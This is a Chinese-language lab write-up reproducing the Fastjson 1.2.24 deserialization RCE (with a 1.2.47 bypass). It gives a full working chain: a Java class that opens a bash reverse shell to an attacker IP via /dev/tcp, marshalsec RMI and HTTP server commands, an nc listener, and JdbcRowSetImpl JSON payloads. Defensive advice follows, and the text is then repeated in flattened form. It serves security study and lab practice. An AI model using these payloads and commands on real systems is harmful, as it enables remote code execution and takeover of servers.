fastjson 反序列化RCE漏洞复现
字数 1749 2025-08-29 08:30:30

Fastjson 反序列化RCE漏洞复现与分析

漏洞概述

Fastjson是阿里巴巴开源的一个Java库,用于处理JSON数据格式的解析和生成。在Fastjson 1.2.24及之前版本中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过构造特殊的JSON数据,利用JNDI注入实现远程命令执行。

漏洞原理

  1. Fastjson反序列化机制

    • Fastjson在解析JSON对象时,会使用autoType实例化具体的类
    • 通过@type字段可以指定要反序列化的目标类
    • 漏洞源于Fastjson对@type字段的安全性验证不充分
  2. JNDI注入

    • JNDI(Java Naming and Directory Interface)支持RMI远程对象调用
    • 当Fastjson反序列化JdbcRowSetImpl类时,会触发JNDI查询
    • 攻击者可控制JNDI查询指向恶意的RMI服务
  3. 攻击链

    Fastjson反序列化 → JdbcRowSetImpl.setDataSourceName() → JNDI查询 → RMI服务 → 加载恶意类 → 执行恶意代码
    

环境准备

靶机环境

  • 使用Vulhub快速搭建Fastjson 1.2.24 RCE漏洞环境
  • 服务运行在8090端口

攻击机环境

  • Java 8运行环境
  • Python 3 (用于开启Web服务)
  • Netcat (用于监听反弹shell)
  • marshalsec工具 (用于搭建RMI服务)

攻击步骤详解

1. 准备恶意类

创建reverse.java文件,内容如下:

import java.lang.Runtime;
import java.lang.Process;

public class reverse {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机IP/4563 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // 异常处理
        }
    }
}

编译为class文件:

javac reverse.java

2. 启动Web服务

在恶意类所在目录启动Python Web服务:

python3 -m http.server 8989

3. 启动RMI服务

使用marshalsec工具启动RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP:8989/#reverse" 8653

4. 监听反弹shell

nc -lnvp 4563

5. 构造并发送Payload

发送以下HTTP请求到目标服务器(8090端口):

POST / HTTP/1.1
Host: 目标IP:8090
Content-Type: application/json
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击机IP:8653/reverse",
        "autoCommit":true
    }
}

6. 攻击流程分析

  1. 目标服务器解析JSON时,通过@type指定反序列化为JdbcRowSetImpl
  2. 设置dataSourceName属性为攻击者控制的RMI服务地址
  3. 设置autoCommit为true触发setAutoCommit()方法
  4. setAutoCommit()内部调用connect()方法,发起JNDI查询
  5. 目标服务器向攻击者的RMI服务(8653端口)发起请求
  6. RMI服务返回指向恶意类(reverse.class)的Reference对象
  7. 目标服务器从攻击者的Web服务(8989端口)下载并执行恶意类
  8. 恶意类中的静态代码块执行,建立反弹shell连接

Fastjson 1.2.47版本利用

对于Fastjson 1.2.47版本,可以使用以下Payload绕过限制:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击机IP:8653/reverse",
        "autoCommit":true
    }
}

防御与修复方案

1. 代码层防护

  • 升级Fastjson

    • 使用Fastjson 2.x版本,默认关闭AutoType功能
    • 最低升级至1.2.68及以上安全版本
  • 配置白名单

    ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");
    
  • 启用安全模式

    ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType
    

2. 运行时防护

  • JVM参数限制

    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    
  • RASP防护

    • 监控JdbcRowSetImpl.connect()方法调用
    • 拦截InitialContext.lookup()等敏感操作

3. 网络层管控

  • 出口流量过滤

    • 阻止服务器主动外联RMI、LDAP等协议
    • 限制出站连接只允许必要的域名和端口
  • 入侵检测规则

    • 检测@type字段包含JdbcRowSetImpl的请求
    • 监控异常的JNDI查询行为

技术要点总结

  1. Fastjson AutoType机制是漏洞根源,允许攻击者指定任意类进行实例化
  2. JdbcRowSetImpl类是关键跳板,其setDataSourceNamesetAutoCommit方法组合可触发JNDI查询
  3. RMI协议用于传递恶意类引用,Web服务用于托管实际的恶意类文件
  4. 静态代码块在类加载时自动执行,是常见的恶意代码注入点
  5. 版本差异:不同Fastjson版本需要调整Payload构造方式

参考资源

  1. Fastjson官方GitHub仓库及安全公告
  2. JNDI注入原理及防护指南
  3. Java反序列化漏洞研究资料
  4. marshalsec工具使用文档

通过以上详细分析,安全研究人员可以全面理解Fastjson反序列化漏洞的原理、利用方式及防御措施,在实际环境中有效识别和防范此类安全风险。

Fastjson 反序列化RCE漏洞复现与分析 漏洞概述 Fastjson是阿里巴巴开源的一个Java库,用于处理JSON数据格式的解析和生成。在Fastjson 1.2.24及之前版本中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过构造特殊的JSON数据,利用JNDI注入实现远程命令执行。 漏洞原理 Fastjson反序列化机制 : Fastjson在解析JSON对象时,会使用autoType实例化具体的类 通过 @type 字段可以指定要反序列化的目标类 漏洞源于Fastjson对 @type 字段的安全性验证不充分 JNDI注入 : JNDI(Java Naming and Directory Interface)支持RMI远程对象调用 当Fastjson反序列化 JdbcRowSetImpl 类时,会触发JNDI查询 攻击者可控制JNDI查询指向恶意的RMI服务 攻击链 : 环境准备 靶机环境 使用Vulhub快速搭建Fastjson 1.2.24 RCE漏洞环境 服务运行在8090端口 攻击机环境 Java 8运行环境 Python 3 (用于开启Web服务) Netcat (用于监听反弹shell) marshalsec工具 (用于搭建RMI服务) 攻击步骤详解 1. 准备恶意类 创建 reverse.java 文件,内容如下: 编译为class文件: 2. 启动Web服务 在恶意类所在目录启动Python Web服务: 3. 启动RMI服务 使用marshalsec工具启动RMI服务: 4. 监听反弹shell 5. 构造并发送Payload 发送以下HTTP请求到目标服务器(8090端口): 6. 攻击流程分析 目标服务器解析JSON时,通过 @type 指定反序列化为 JdbcRowSetImpl 类 设置 dataSourceName 属性为攻击者控制的RMI服务地址 设置 autoCommit 为true触发 setAutoCommit() 方法 setAutoCommit() 内部调用 connect() 方法,发起JNDI查询 目标服务器向攻击者的RMI服务(8653端口)发起请求 RMI服务返回指向恶意类( reverse.class )的Reference对象 目标服务器从攻击者的Web服务(8989端口)下载并执行恶意类 恶意类中的静态代码块执行,建立反弹shell连接 Fastjson 1.2.47版本利用 对于Fastjson 1.2.47版本,可以使用以下Payload绕过限制: 防御与修复方案 1. 代码层防护 升级Fastjson : 使用Fastjson 2.x版本,默认关闭AutoType功能 最低升级至1.2.68及以上安全版本 配置白名单 : 启用安全模式 : 2. 运行时防护 JVM参数限制 : RASP防护 : 监控 JdbcRowSetImpl.connect() 方法调用 拦截 InitialContext.lookup() 等敏感操作 3. 网络层管控 出口流量过滤 : 阻止服务器主动外联RMI、LDAP等协议 限制出站连接只允许必要的域名和端口 入侵检测规则 : 检测 @type 字段包含 JdbcRowSetImpl 的请求 监控异常的JNDI查询行为 技术要点总结 Fastjson AutoType机制 是漏洞根源,允许攻击者指定任意类进行实例化 JdbcRowSetImpl类 是关键跳板,其 setDataSourceName 和 setAutoCommit 方法组合可触发JNDI查询 RMI协议 用于传递恶意类引用,Web服务用于托管实际的恶意类文件 静态代码块 在类加载时自动执行,是常见的恶意代码注入点 版本差异 :不同Fastjson版本需要调整Payload构造方式 参考资源 Fastjson官方GitHub仓库及安全公告 JNDI注入原理及防护指南 Java反序列化漏洞研究资料 marshalsec工具使用文档 通过以上详细分析,安全研究人员可以全面理解Fastjson反序列化漏洞的原理、利用方式及防御措施,在实际环境中有效识别和防范此类安全风险。